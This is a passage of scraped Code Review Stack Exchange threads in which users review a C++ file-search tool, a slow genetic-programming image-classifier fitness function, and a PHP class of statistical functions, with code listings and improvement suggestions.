`addWildCardFiles` and write the `get<>` only once when calling read_directory.\n addWildCardFiles = read_directory(wcPath, test); \n\n for (int m = 0; m < get<0>(addWildCardFiles).size(); m++) // use a range-based for loop:\n // for (auto const& wcFile : addWildCardFiles)\n {\n // uh... why not use an actual bool?\n size_t wcBool = regex_search(get<0>(addWildCardFiles)[m], matchez, e);\n\n if (wcBool == 1) // again, prefer to use `continue` so we don't have to indent code\n {\n fullPath.append(wcPath);\n fullPath.append(\"\\\\\");\n fullPath.append(get<0>(addWildCardFiles)[m]);\n tempFiles.push_back(fullPath);\n\n // tempFiles.push_back(wcPath + \"\\\\\" + wcFile);\n\n tempStrings.push_back(holdTemp); // why, though? it's already in searchStrings, no?\n }\n\n fullPath = \"\";\n }\n }\n}\n\nsearchStrings.insert(searchStrings.end(), tempStrings.begin(), tempStrings.end());\nsearchFiles.insert(searchFiles.end(), tempFiles.begin(), tempFiles.end());\n\n// I don't really understand this:\n// For every wildcard file entry, we just added a copy of the search string to searchStrings.\n// And now we sort searchStrings and searchFiles independently, which destroys any index relation between the two.\n\nsort(searchStrings.begin(), searchStrings.end());\nsort(searchFiles.begin(), searchFiles.end());\n\n// Then we make the files unique, but only sometimes make the strings unique?\n// Why is it ever useful to search for duplicate strings?\n\nsearchFiles.erase(unique(searchFiles.begin(), searchFiles.end()), searchFiles.end());\nif (searchAllFilesForAllStrings == true) // if it's a bool, we don't need == true, just test the bool directly\n{\n searchStrings.erase(unique(searchStrings.begin(), searchStrings.end()), searchStrings.end());\n}\n\nint setNext = -1;\nvector<int> filesRepeat;\nvector<int> stringsRepeat;\nsize_t stringsCount = 0;\nsize_t filesCount = 0;\n\n// ---------------------\n// I'm guessing this is removing excel column headers? This should be done in the excel parsing part above.\n// It also shouldn't be done based on content -> what if the user wants to search for the words \"Search Strings\"?\n// We can use the erase-remove idiom to do this:\n//searchStrings.erase(\n// std::remove(searchStrings.begin(), searchStrings.end(), \"Search Strings\"), \n// searchStrings.end());\n\nfor (int i = 0; i < searchStrings.size(); i++) { if (searchStrings.at(i).compare(\"Search Strings\") == 0) { searchStrings.erase(searchStrings.begin() + i); } }\nfor (int i = 0; i < searchFiles.size(); i++) { if (searchFiles.at(i).compare(\"Search Files\") == 0) { searchFiles.erase(searchFiles.begin() + i); } }\n\n// ---------------------\n// Note that std::vector::erase returns an iterator pointing one past the element removed,\n// so the old-school way to do this is:\n\n//for (auto i = searchFiles.begin(); i != searchFiles.end(); )\n//{\n// if (contains(*i, \"*\", 1) == 1)\n// i = searchFiles.erase(i);\n// else\n// ++i;\n//}\n\n// or better, we use erase-remove again:\n\n//searchFiles.erase(\n// std::remove_if(searchFiles.begin(), searchFiles.end(), [] (std::string const& s) { return contains(s, \"*\", 1) == 1; }),\n// searchFiles.end());\n\nint idx = 0;\nint startCount = searchFiles.size();\nwhile (idx < startCount)\n{\n if (contains(searchFiles.at(idx), \"*\", 1) == 1)\n {\n searchFiles.erase(searchFiles.begin() + idx);\n startCount = startCount - 1;\n idx = 0;\n }\n idx = idx + 1;\n}\n\nfor (unsigned int jj = 0; jj < searchStrings.size(); jj++) // use range-based for\n{ \n if (contains(searchStrings.at(jj), \"XYY\", 0) == 1 || contains(searchStrings.at(jj), \"XYZ\", 0) == 1)\n {\n regex_patterns.push_back(replaceWildCards(searchStrings.at(jj)));\n regexIndex.push_back(true);\n } \n else\n {\n nonWildCardSearchStrings.push_back(searchStrings.at(jj));\n regexIndex.push_back(false);\n } \n}\nreturn true;\n</code></pre>\n\n<p>And the second code listing:</p>\n\n<pre><code> size_t found; // declare inside the loop\n bool nonwcfound = false; // declare inside the loop\n smatch matches; // declare inside the loop\n\n // we could just use the vector copy constructor here:\n // vector<regex> expressions = regex_patterns;\n // ...but why are we copying it anyway?\n vector<regex> expressions;\n for (int i = 0; i < regex_patterns.size(); i++) { expressions.emplace_back(regex_patterns.at(i)); }\n\n if (searchAllFilesForAllStrings == true) // test bools directly, don't compare to true / false\n {\n // use the ofstream constructor:\n // std::ofstream myOutPut(outputFilePath, std::ofstream::out | std::ofstream::app);\n // closing and reopening the file is probably slower than just leaving it open.\n\n ofstream myOutPut;\n myOutPut.open(outputFilePath, std::ofstream::out | std::ofstream::app);\n myOutPut << \"Line Text, Line Number, File Name, Folder Path,\" << \"\\n\";\n myOutPut.close();\n\n for (size_t j = 0; j < searchFiles.size();j++) // use range-based for\n {\n vector<int> lineNumber; // declare as close to the point of use as possible\n vector<string> lineText; // same\n vector<string>lineStrings; // same\n string entireFile; // same\n\n string fileName; // don't declare and initialize separately! do it in one step\n string folderName; // don't declare and initialize separately! do it in one step\n fileName = searchFiles.at(j); // unnecessary copy! use a const& variable to alias it.\n\n // again, what if \"\\\\\" isn't present?\n // both folderName and fileName will contain the whole string...\n int fileNameSlashIdx = fileName.rfind(\"\\\\\"); \n folderName = fileName.substr(0, fileNameSlashIdx);\n fileName = fileName.substr(fileNameSlashIdx + 1, string::npos);\n\n\n ifstream file; // again, use the constructor to open the file\n file.open(searchFiles.at(j), ios::in | ios::ate);\n\n // does the rest of the loop body make sense if the file isn't open? might be better to do:\n // if (!file)\n // continue;\n\n if (file)\n {\n // reading a whole file into a string could be a separate function.\n // note that there are easier ways:\n // std::string entireFile((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());\n\n ifstream::streampos filesize = file.tellg();\n entireFile.reserve(filesize);\n file.seekg(0);\n while (!file.eof())\n {\n entireFile += file.get();\n }\n }\n file.close();\n\n int linecount = 0;\n // declare lineNumber, lineText, etc. here too\n\n // why not use the file stream directly instead of a stringstream?\n // we allocate memory for the entire file and copy it into a string above\n // then we copy it again here.\n stringstream stream(entireFile);\n\n // nitpick: use `while (true)` instead\n // `while (1)` is really testing `while (1 != 0)`, which is kinda indirect\n while (1) \n {\n string line;\n getline(stream, line);\n if (!stream.good())\n break;\n\n for (size_t r = 0; r < expressions.size(); r++) // use range-based for\n {\n found = regex_search(line, matches, expressions.at(r));\n if (found == 1)\n {\n lineNumber.push_back(linecount);\n lineText.push_back(line);\n }\n }\n for (size_t rr = 0; rr < nonWildCardSearchStrings.size(); rr++) // use range-based for\n {\n nonwcfound = contains(line, nonWildCardSearchStrings.at(rr), 0);\n if (nonwcfound == true)\n {\n lineNumber.push_back(linecount);\n lineText.push_back(line);\n }\n }\n linecount = linecount + 1;\n }\n\n entireFile.clear();\n\n ofstream myOutPut; // again, use the constructor\n myOutPut.open(outputFilePath, std::ofstream::out | std::ofstream::app);\n\n {\n tuple<vector<string>, vector<int>, string, string>result = make_tuple(lineText, lineNumber, fileName, folderName);\n writeResultsToFile(result, outputFilePath);\n }\n\n myOutPut.close();\n }\n }\n\n // use an \"else\"... \n // if there's so much code in a branch that we forget the condition, split it into a separate function.\n if (searchAllFilesForAllStrings == false) // test bools directly, don't compare to true / false\n { \n // \"Do the same thing as above, except that it will search each file/batch of files only with the \n // subsequent search string in the same row of the excel file that is read in using the above function.\"\n\n // ^^ I don't see how that will be possible, given that we sorted `searchStrings` and `searchFiles` independently.\n // So at this point there's no relation between the two!!!\n }\n MessageBox::Show(\"Finished execution. Your file is now available for viewing!\", \"Output Excel File Written\");\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T07:19:30.740",
"Id": "217658",
"ParentId": "217628",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T16:31:32.020",
"Id": "217628",
"Score": "0",
"Tags": [
"c++",
"performance",
"beginner"
],
"Title": "GUI that searches files using user inputted search strings"
} | 217628 |
<p>I am trying to figure out how to improve my binary image genetic programming classifier's fitness. It takes images and classifies them if it has some feature X or not in it. </p>
<p>These are the main points: </p>
<ol>
<li>It takes an image and looks at the first 8 x 8 pixel values (called window).</li>
<li>It saves these 8 x 8 values into an array and runs decodeIndividual on them. </li>
<li>decodeIndividual simply runs the individual's function and retrieves the first and last registers. Last register is the scratchVariable that is updated per each window throughout an image. </li>
<li>The first register is the main identifier per window and it adds it to the y_result which is kept for one image. </li>
<li>When all the windows have been evaluated, y_result is compared to the ground truth and the difference is added to the error. Then the same steps are repeated for another image.</li>
</ol>
<p>Heres the code:</p>
<pre><code>float GeneticProgramming::evaluateIndividual(Individual individualToEvaluate)
{
float y_result = 0.0f;
float error = 0.0f;
for (int m = 0; m < number; m++)
{
int scratchVariable = SCRATCH_VAR;
for (int row = 0; row <= images[m].rows - WINDOW_SIZE; row += STEP)
{
for (int col = 0; col <= images[m].cols - WINDOW_SIZE; col += STEP)
{
int registers[NUMBER_OF_REGISTERS] = {0};
for (int i = 0; i < NUMBER_OF_REGISTERS-1; i++)
{
for (int y = 0; y < row + STEP; y++)
{
for (int x = 0; x < col + STEP; x++)
{
registers[i] = images[m].at<uchar>(y,x);
}
}
}
registers[NUMBER_OF_REGISTERS-1] = scratchVariable;
// we run individual on a separate small window of size 8x8
std::pair<float, float> answer = decodeIndividual(individualToEvaluate, registers);
y_result += answer.first;
scratchVariable = answer.second;
}
}
float diff = y_groundtruth - y_result;
// want to look at squared error
error += pow(diff, 2);
// restart the y_result per image
float y_result = 0.0f;
}
cout << "Done with individual " << individualToEvaluate.index << endl;
return error;
}
</code></pre>
<p><em>images</em> is just a vector where I stored all of my images. I also added the decodeIndividual function which just looks at instructions and the given registers from the window and runs the list of instructions. </p>
<pre><code>std::pair<float, float> GeneticProgramming::decodeIndividual(Individual individualToDecode, int *array)
{
for(int i = 0; i < individualToDecode.getSize(); i++) // MAX_LENGTH
{
Instruction currentInstruction = individualToDecode.getInstructions()[i];
float operand1 = array[currentInstruction.op1];
float operand2 = array[currentInstruction.op2];
float result = 0;
switch(currentInstruction.operation)
{
case 0: //+
result = operand1 + operand2;
break;
case 1: //-
result = operand1 - operand2;
break;
case 2: //*
result = operand1 * operand2;
break;
case 3: /// (division)
if (operand2 == 0)
{
result = SAFE_DIVISION_DEF;
break;
}
result = operand1 / operand2;
break;
case 4: // square root
if (operand1 < 0)
{
result = SAFE_DIVISION_DEF;
break;
}
result = sqrt(operand1);
break;
case 5:
if (operand2 < 0)
{
result = SAFE_DIVISION_DEF;
break;
}
result = sqrt(operand2);
break;
default:
cout << "Default" << endl;
break;
}
array[currentInstruction.reg] = result;
}
return std::make_pair(array[0], array[NUMBER_OF_REGISTERS-1]);
}
</code></pre>
<p>The problem is that I have:</p>
<ul>
<li>6 grey scale images reduced to size 60 x 80</li>
<li>The window size is 8 x 8</li>
<li>Step is 2</li>
<li>Number of registers is 65</li>
</ul>
<p>Yet it takes over 3 seconds to evaluate these 6 incredibly small images. How do I improve my code? I would appreciate anyone pointing out some mistakes or at least providing some guidance. I am thinking of using threads to evaluate each individual separately. </p>
<p><strong>EDIT:</strong> So I have adjusted my code. </p>
<pre><code>float GeneticProgramming::evaluateIndividual(Individual individualToEvaluate)
{
float y_result = 0.0f;
float error = 0.0f;
for (int m = 0; m < number; m++)
{
int scratchVariable = SCRATCH_VAR;
for (int row = 0; row <= images[m].rows - WINDOW_SIZE; row += STEP)
{
for (int col = 0; col <= images[m].cols - WINDOW_SIZE; col += STEP)
{
cv::Rect windows(col, row, WINDOW_SIZE, WINDOW_SIZE);
cv::Mat roi = images[m](windows);
std::pair<float, float> answer = decodeIndividual(individualToEvaluate, roi, scratchVariable);
y_result += answer.first;
scratchVariable = answer.second;
}
}
float diff = y_groundtruth - y_result;
// want to look at squared error
error += pow(diff, 2);
// restart the y_result per image
float y_result = 0.0f;
}
cout << "Done with individual " << individualToEvaluate.index << endl;
return error;
}
</code></pre>
<p>I also changed the <em>decodeIndividual()</em> so that it takes the roi and a scratchVariable as follows:</p>
<pre><code>std::pair<float, float> GeneticProgramming::decodeIndividual(Individual individualToDecode, cv::Mat &registers, int &scratchVariable)
{
int array[NUMBER_OF_REGISTERS];
unsigned char* p;
for(int ii = 0; ii < WINDOW_SIZE; ii++)
{
p = registers.ptr<uchar>(ii);
for(int jj = 0; jj < WINDOW_SIZE; jj++)
{
array[ii*WINDOW_SIZE+jj] = p[jj];
}
}
array[NUMBER_OF_REGISTERS-1] = scratchVariable;
for(int i = 0; i < individualToDecode.getSize(); i++) // MAX_LENGTH
{
Instruction currentInstruction = individualToDecode.getInstructions()[i];
float operand1 = array[currentInstruction.op1];
float operand2 = array[currentInstruction.op2];
float result = 0;
switch(currentInstruction.operation)
{
case 0: //+
result = operand1 + operand2;
break;
case 1: //-
result = operand1 - operand2;
break;
case 2: //*
result = operand1 * operand2;
break;
case 3: /// (division)
if (operand2 == 0)
{
result = SAFE_DIVISION_DEF;
break;
}
result = operand1 / operand2;
break;
case 4: // square root
if (operand1 < 0)
{
result = SAFE_DIVISION_DEF;
break;
}
result = sqrt(operand1);
break;
case 5:
if (operand2 < 0)
{
result = SAFE_DIVISION_DEF;
break;
}
result = sqrt(operand2);
break;
default:
cout << "Default" << endl;
break;
}
array[currentInstruction.reg] = result;
}
return std::make_pair(array[0], array[NUMBER_OF_REGISTERS-1]);
}
</code></pre>
<p>Yet I am still receiving unsatisfying results. Any ideas?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-22T17:26:11.060",
"Id": "421665",
"Score": "1",
"body": "Are you using OpenCV here? If so, `images[m].at<uchar>(y,x)` would be quite slow, I believe. Usually people get a pointer to an image row, and loop over the row using that. Also, the inner two loops do a lot of redundant work, they overwrite each other's work, with the next loop out producing the same result for each of the elements in `registers`. Are you sure that you are getting correct results?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-26T06:39:11.020",
"Id": "423297",
"Score": "1",
"body": "No, my results are actually not satisfying at all. But I was following another tutorial, thats how I got my current code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-26T07:41:25.630",
"Id": "423306",
"Score": "1",
"body": "This is the tutorial I followed: https://funvision.blogspot.com/2015/12/opencv-tutorial-sliding-window.html"
}
] | [
{
"body": "<p>Since I'm unable to compile your program (there is no full working code), my review will be a little limited. But consider at least the following points.</p>\n\n<ul>\n<li><p>Do <em>not</em> pass <code>Individual</code> by-value when it is not necessary. This can be very costly. Instead, prefer passing by const-ref as in <code>const Individual& individualToEvaluate</code>.</p></li>\n<li><p>It seems that <code>y_result</code> should go inside the first of the for-loops, then you don't have to set it to zero at the end.</p></li>\n<li><p>You can try replacing a call to <code>pow(error, 2)</code> by your own squaring function that just returns <code>x * x</code>; I have noticed this to be a little faster than <code>std::pow</code> sometimes in the past (but maybe things are different nowadays).</p></li>\n<li><p>Make <code>diff</code> const. There are <em>many</em> more local variables that you should mark const as well. It makes errors less likely to happen and improves readability.</p></li>\n<li><p>Doing I/O operations like <code>cout</code> and <code>endl</code> will slow down your program. Get rid of them if you need speed. Also, don't use <code>endl</code> when <code>\\n</code> suffices.</p></li>\n<li><p>It won't hurt to precompute <code>images[m].rows - WINDOW_SIZE</code> (and <code>images[m].cols - WINDOW_SIZE</code>) as const variables before the for-loop. This can speed up your execution by a tiny margin. You can also precompute <code>row + STEP</code> and <code>col + STEP</code>.</p></li>\n<li><p>Your decoding function is quite messy. You could borrow an idea from <a href=\"https://codereview.stackexchange.com/a/216741/40063\">this answer</a> to make it prettier.</p></li>\n</ul>\n\n<p>This is still quite superficial and you can't hope to get much more unless you isolate your issue and post more details, I believe. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T17:12:28.780",
"Id": "217684",
"ParentId": "217630",
"Score": "1"
}
},
{
"body": "<p>I'm concerned with this bit of code, the inner 3 loops:</p>\n\n<pre><code>int registers[NUMBER_OF_REGISTERS] = {0};\nfor (int i = 0; i < NUMBER_OF_REGISTERS-1; i++)\n{\n for (int y = 0; y < row + STEP; y++)\n {\n for (int x = 0; x < col + STEP; x++)\n {\n registers[i] = images[m].at<uchar>(y,x);\n }\n }\n}\n</code></pre>\n\n<p>The inner loop writes into the same array element <code>registers[i]</code> every time. Therefore it can be simplified to:</p>\n\n<pre><code>int registers[NUMBER_OF_REGISTERS] = {0};\nfor (int i = 0; i < NUMBER_OF_REGISTERS-1; i++)\n{\n for (int y = 0; y < row + STEP; y++)\n {\n int x = col + STEP - 1;\n registers[i] = images[m].at<uchar>(y,x);\n }\n}\n</code></pre>\n\n<p>Again, the new inner loop does nothing:</p>\n\n<pre><code>int registers[NUMBER_OF_REGISTERS] = {0};\nfor (int i = 0; i < NUMBER_OF_REGISTERS-1; i++)\n{\n int y = row + STEP - 1;\n int x = col + STEP - 1;\n registers[i] = images[m].at<uchar>(y,x);\n}\n</code></pre>\n\n<p>And this we can simplify to:</p>\n\n<pre><code>int registers[NUMBER_OF_REGISTERS];\nint y = row + STEP - 1;\nint x = col + STEP - 1;\nint value = images[m].at<uchar>(y,x);\nfor (int i = 0; i < NUMBER_OF_REGISTERS-1; i++)\n{\n registers[i] = value;\n}\n</code></pre>\n\n<p>This of course does not look like anything you might have intended to write.</p>\n\n<p>I think your code does not do what you intended it to do. Don't worry with speed until your code works as intended.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-26T06:31:15.173",
"Id": "423296",
"Score": "0",
"body": "What do you mean \"code does not do what you intended it to do\"?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-26T06:47:08.857",
"Id": "423298",
"Score": "0",
"body": "After I followed your changes, it seems to work much faster but it does not produce satisfying results."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-26T13:12:14.747",
"Id": "423371",
"Score": "0",
"body": "@Gabriele: it seems from your description that you want to copy the pixels within the window into `registers`, but your code copies the same pixel into each element of that array. The transformations I show here don’t affect the result of your code, hence demonstrate that your code does not do what you want it to do."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-26T13:13:50.310",
"Id": "423373",
"Score": "0",
"body": "@Gabrielle: what you want to do is keep the two loops over `x` and `y`, and get rid of the loop over `i`. You need to increment `i` every time you write a value to the `registers` array."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-27T12:15:50.827",
"Id": "423466",
"Score": "0",
"body": "I have completely removed the inner loops and added this rectangle (see the original post). I made sure that the real image's window is the same one as in the rectangle when I pass it to the decodeIndividual(). However, I am still getting unsatisfying results."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-27T13:15:45.740",
"Id": "423471",
"Score": "0",
"body": "@Gabriele: Sorry to hear that. I don’t know how to help you further. I don’t know what you expect from the code, what the code does, or why you consider that unsatisfying. I can’t run your code because it’s not complete. And this web site is for reviewing code that works as intended. You might want to consider picking a simple case, and running your program in a debugger, checking what each step does and seeing if it matches your expectations."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-27T13:16:21.470",
"Id": "423473",
"Score": "0",
"body": "Thank you anyways for catching the problem with the inner loops!"
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-22T17:33:03.233",
"Id": "217896",
"ParentId": "217630",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "217896",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T16:59:29.967",
"Id": "217630",
"Score": "4",
"Tags": [
"c++",
"performance",
"image",
"genetic-algorithm"
],
"Title": "Binary genetic programming image classifier's fitness function"
} | 217630 |
<h3>Functionality</h3>
<p>This class has a list of statistical functions such as mean, variance, standard deviation, skewness, and it works okay. These functions are applied to arrays of <a href="https://iextrading.com/developer/docs/#chart" rel="nofollow noreferrer">charts data</a>.</p>
<p>It is an extension of a <a href="https://github.com/emarcier/usco/blob/master/master/cron/equity/EQ.php" rel="nofollow noreferrer">mother class</a> that roughly estimates very close future prices of a list of equities using an <a href="https://iextrading.com/developer/docs/" rel="nofollow noreferrer">API</a> delayed 60-seconds chart data.</p>
<p>(ConstEQ is only a list of <code>const</code> variables and all related codes can be viewed in <a href="https://github.com/emarcier/usco/tree/master/master/cron/equity" rel="nofollow noreferrer">this link</a>.)</p>
<hr />
<h3>Reviewing</h3>
<p>Would you be so kind and possibly review this class, maybe for <em>performance</em>, <em>efficiency</em>, <em>math</em>, <em>best coding practices</em> or <em>a list of changes with a list of to-be-changed to</em>?</p>
<hr />
<h3>Class ST</h3>
<pre><code>// Config class for path and other constants
require_once __DIR__ . "/ConstEQ.php";
/**
* This is an extended class with basic statistical method
* Stock
*/
class ST extends EQ implements ConstEQ
{
/**
*
* @return a number equal to mean of values of an array
*/
public static function getMean($array)
{
if (count($array) == 0) {
return ConstEQ::NEAR_ZERO_NUMBER;
} else {
return array_sum($array) / count($array);
}
}
/**
*
* @return a number normalized in between 0 to 1
*/
public static function getNormalize($value, $min, $max)
{
if ($max - $min != 0) {
$normalized = 2 * (($value - $min) / ($max - $min)) - 1;
} else {
$normalized = 2 * (($value - $min)) - 1;
}
return $normalized;
}
/**
*
* @return a number normalized in between 0.0 to 1 from any input -inf to inf
*/
public static function getSigmoid($t)
{
return 1 / (1 + pow(M_EULER, -$t));
}
/**
*
* @return a number equal to square of value mean
*/
public static function getMeanSquare($x, $mean)
{
return pow($x - $mean, 2);
}
/**
*
* @return a number equal to standard deviation of values of an array
*/
public static function getStandardDeviation($array)
{
if (count($array) < 2) {
return ConstEQ::NEAR_ZERO_NUMBER;
} else {
return sqrt(array_sum(array_map("ST::getMeanSquare", $array, array_fill(0, count($array), (array_sum($array) / count($array))))) / (count($array) - 1));
}
}
/**
*
* @return a number equal to covariance of values of two arrays
*/
public static function getCovariance($valuesA, $valuesB)
{
// sizing both arrays the same, if different sizes
$no_keys = min(count($valuesA), count($valuesB));
$valuesA = array_slice($valuesA, 0, $no_keys);
$valuesB = array_slice($valuesB, 0, $no_keys);
// if size of arrays is too small
if ($no_keys < 2) {return ConstEQ::NEAR_ZERO_NUMBER;}
// Use library function if available
if (function_exists('stats_covariance')) {return stats_covariance($valuesA, $valuesB);}
$meanA = array_sum($valuesA) / $no_keys;
$meanB = array_sum($valuesB) / $no_keys;
$add = 0.0;
for ($pos = 0; $pos < $no_keys; $pos++) {
$valueA = $valuesA[$pos];
if (!is_numeric($valueA)) {
trigger_error('Not numerical value in array A at position ' . $pos . ', value=' . $valueA, E_USER_WARNING);
return false;
}
$valueB = $valuesB[$pos];
if (!is_numeric($valueB)) {
trigger_error('Not numerical value in array B at position ' . $pos . ', value=' . $valueB, E_USER_WARNING);
return false;
}
$difA = $valueA - $meanA;
$difB = $valueB - $meanB;
$add += ($difA * $difB);
}
return $add / $no_keys;
}
/**
*
* @return a number equal to skewness of array values
*/
public static function getSkewness($values)
{
$numValues = count($values);
if ($numValues == 0) {return 0.0;}
// Uses function from php_stats library if available
if (function_exists('stats_skew')) {return stats_skew($values);}
$mean = array_sum($values) / floatval($numValues);
$add2 = 0.0;
$add3 = 0.0;
foreach ($values as $value) {
if (!is_numeric($value)) {return false;}
$dif = $value - $mean;
$add2 += ($dif * $dif);
$add3 += ($dif * $dif * $dif);
}
$variance = $add2 / floatval($numValues);
if ($variance == 0) {return ConstEQ::NEAR_ZERO_NUMBER;} else {return ($add3 / floatval($numValues)) / pow($variance, 3 / 2.0);}
}
/**
*
* @return a number equal to kurtosis of array values
*/
public static function getKurtosis($values)
{
$numValues = count($values);
if ($numValues == 0) {return 0.0;}
// Uses function from php_stats library if available
if (function_exists('stats_kurtosis')) {return stats_kurtosis($values);}
$mean = array_sum($values) / floatval($numValues);
$add2 = 0.0;
$add4 = 0.0;
foreach ($values as $value) {
if (!is_numeric($value)) {return false;}
$dif = $value - $mean;
$dif2 = $dif * $dif;
$add2 += $dif2;
$add4 += ($dif2 * $dif2);
}
$variance = $add2 / floatval($numValues);
if ($variance == 0) {return ConstEQ::NEAR_ZERO_NUMBER;} else {return ($add4 * $numValues) / ($add2 * $add2) - 3.0;}
}
/**
*
* @return a number equal to correlation of two arrays
*/
public static function getCorrelation($arr1, $arr2)
{
$correlation = 0;
$k = ST::sumProductMeanDeviation($arr1, $arr2);
$ssmd1 = ST::sumSquareMeanDeviation($arr1);
$ssmd2 = ST::sumSquareMeanDeviation($arr2);
$product = $ssmd1 * $ssmd2;
$res = sqrt($product);
if ($res == 0) {return ConstEQ::NEAR_ZERO_NUMBER;}
$correlation = $k / $res;
if ($correlation == 0) {return ConstEQ::NEAR_ZERO_NUMBER;} else {return $correlation;}
}
/**
*
* @return a number equal to sum of product mean deviation of each array values
*/
public static function sumProductMeanDeviation($arr1, $arr2)
{
$sum = 0;
$num = count($arr1);
for ($i = 0; $i < $num; $i++) {$sum = $sum + ST::productMeanDeviation($arr1, $arr2, $i);}
return $sum;
}
/**
*
* @return a number equal to product mean deviation of each array values
*/
public static function productMeanDeviation($arr1, $arr2, $item)
{
return (ST::meanDeviation($arr1, $item) * ST::meanDeviation($arr2, $item));
}
/**
*
* @return a number equal to sum of square mean deviation of each array values
*/
public static function sumSquareMeanDeviation($arr)
{
$sum = 0;
$num = count($arr);
for ($i = 0; $i < $num; $i++) {$sum = $sum + ST::squareMeanDeviation($arr, $i);}
return $sum;
}
/**
*
* @return a number equal to square mean deviation of each array values
*/
public static function squareMeanDeviation($arr, $item)
{
return ST::meanDeviation($arr, $item) * ST::meanDeviation($arr, $item);
}
/**
*
* @return a number equal to sum of mean deviation of each array values
*/
public static function sumMeanDeviation($arr)
{
$sum = 0;
$num = count($arr);
for ($i = 0; $i < $num; $i++) {$sum = $sum + ST::meanDeviation($arr, $i);}
return $sum;
}
/**
*
* @return a number equal to mean deviation of each array values
*/
public static function meanDeviation($arr, $item)
{
$average = ST::average($arr);return $arr[$item] - $average;
}
/**
*
* @return a number equal to mean of array values
*/
public static function average($arr)
{
$sum = ST::sum($arr);
$num = count($arr);return $sum / $num;
}
/**
*
* @return a number equal to sum of an array
*/
public static function sum($arr)
{
return array_sum($arr);
}
/**
*
* @return an array of coefficients for 7 levels of volatilities
*/
public static function getCoefParams($overall_market_coeff)
{
$daily_coef = 0.9 + ($overall_market_coeff / 10);
$coefs = array(
ConstEQ::LEVEL_VOLATILITY_COEF_1 * $daily_coef,
ConstEQ::LEVEL_VOLATILITY_COEF_2 * $daily_coef,
ConstEQ::LEVEL_VOLATILITY_COEF_3 * $daily_coef,
ConstEQ::LEVEL_VOLATILITY_COEF_4 * $daily_coef,
ConstEQ::LEVEL_VOLATILITY_COEF_5 * $daily_coef,
ConstEQ::LEVEL_VOLATILITY_COEF_6 * $daily_coef,
ConstEQ::LEVEL_VOLATILITY_COEF_7 * $daily_coef,
);
return $coefs;
}
/**
* @return a binary true or false for is_numeric testing of an string
*/
public static function isNumber($arr)
{
foreach ($arr as $b) {
if (!is_numeric($b)) {
return false;
}
}
return true;
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T20:59:20.913",
"Id": "421099",
"Score": "1",
"body": "I don't deal with such calculations in my day-to-day, so I won't be so bold to change any logic. I do find `pow($variance, 3 / 2.0)` to be a little weird. Is that a misplaced parenthesis or do you want `$variance` to the power of `1.5`?"
}
] | [
{
"body": "<p>This is also not something I deal with on a daily basis, but I have used it in the past, so I know what it's about.</p>\n\n<p>Let me start with the biggest thing that immediately jumps out at me: You've put a lot of statistical methods in one class. Why? What do they have in common, apart from the fact that they are statistical methods? If I read your class the answer seems to be: Nothing. This would have worked fine if the methods were just independent function.</p>\n\n<p>The point about statistical methods is that they deal with numbers; lots of them. Very often you don't only want to know the <em>mean</em> of a set, but also the <em>median</em>, the <em>mode</em>, etc. So, it would make sense to feed your statistical class an array of numbers and have methods to get information about that array. Like this:</p>\n\n<pre><code>class StatisticsOneDim // one dimensional statistics\n{\n private $count;\n private $data;\n private $sum;\n private $mean;\n\n public function __construct($data)\n {\n $this->count = count($data);\n $this->data = $data;\n }\n\n public function getCount()\n {\n return $this->count;\n }\n\n public function getSum()\n {\n if (!isset($this->sum)) {\n $this->sum = array_sum($this->data);\n }\n return $this->sum;\n }\n\n public function getMean()\n {\n if (!isset($this->mean)) {\n $count = $this->getCount();\n if ($count == 0) $this->mean = false; // or generate an exception\n else $this->mean = $this->getSum()/$count;\n }\n return $this->mean;\n }\n}\n</code></pre>\n\n<p>Well, and so on. You can see what I am getting at. The data you want statistical information about is given to the class when it is created. After that you can interrogate the data. Once something like a <em>sum</em> or a <em>mean</em> has been computed it is stored in the class for quick retrieval later on. The <em>count</em> is used so often that I created it in the constructor.</p>\n\n<p>OK, there might be methods that cannot be applied to the data in the class. For instance <code>getCorrelation()</code>. That method needs two data sets. So, it shouldn't be part of this class. I would create a separate class that can take two arrays, or even two <code>StatisticsOneDim</code>, and call it <code>StatisticsTwoDims</code>.</p>\n\n<p>Does this help you further?</p>\n\n<p>PS: I saw you have a <code>getMean()</code>, but also a <code>average()</code> method. These methods do the same, except the latter doesn't have 'division by zero' protection.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T09:16:55.900",
"Id": "421170",
"Score": "1",
"body": "I updated the example code slightly. Now there's only one `return` per method."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T21:36:24.283",
"Id": "217639",
"ParentId": "217632",
"Score": "1"
}
},
{
